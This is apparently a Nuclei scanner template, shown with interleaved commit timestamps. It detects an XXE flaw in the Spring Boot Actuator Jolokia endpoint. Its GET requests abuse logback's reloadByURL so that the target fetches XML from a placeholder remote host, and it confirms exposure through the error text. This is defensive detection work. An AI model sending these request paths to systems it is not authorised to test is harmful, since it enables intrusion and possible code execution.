2020-07-02 16:15:33 +00:00
id : springboot-actuators-jolokia-xxe
info :
name : Spring Boot Actuators (Jolokia) XXE
2021-06-09 12:20:56 +00:00
author : dwisiswant0,ipanda
2020-07-02 16:15:33 +00:00
severity : high
2023-10-14 11:27:55 +00:00
description : A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
2021-08-18 11:37:49 +00:00
reference :
2021-05-04 12:15:10 +00:00
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
- https://github.com/mpgn/Spring-Boot-Actuator-Exploit
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-10-14 11:27:55 +00:00
tags : springboot,jolokia,xxe
2020-07-02 16:15:33 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-07-02 16:15:33 +00:00
- method : GET
path :
- "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
2021-05-31 14:35:39 +00:00
- "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"
2022-07-28 08:35:26 +00:00
stop-at-first-match : true
2023-10-14 11:27:55 +00:00
2020-07-02 16:15:33 +00:00
matchers-condition : and
matchers :
- type : word
2021-11-27 22:43:45 +00:00
part : body
2020-07-02 16:15:33 +00:00
words :
- "http:\\/\\/nonexistent:31337\\/logback.xml"
- "reloadByURL"
- "JoranException"
2022-07-28 08:35:26 +00:00
condition : and
- type : status
status :
2023-10-14 11:27:55 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a0047304502203803cfa9fb0c6d94808ef6b74855270ac806195233e566d702a33c7b359132c3022100bd23dc58aa77e8524c448f0ec923ce16736ef08c168b1825517e4586401f4b61:922c64590222798bb761d5b6d8e72950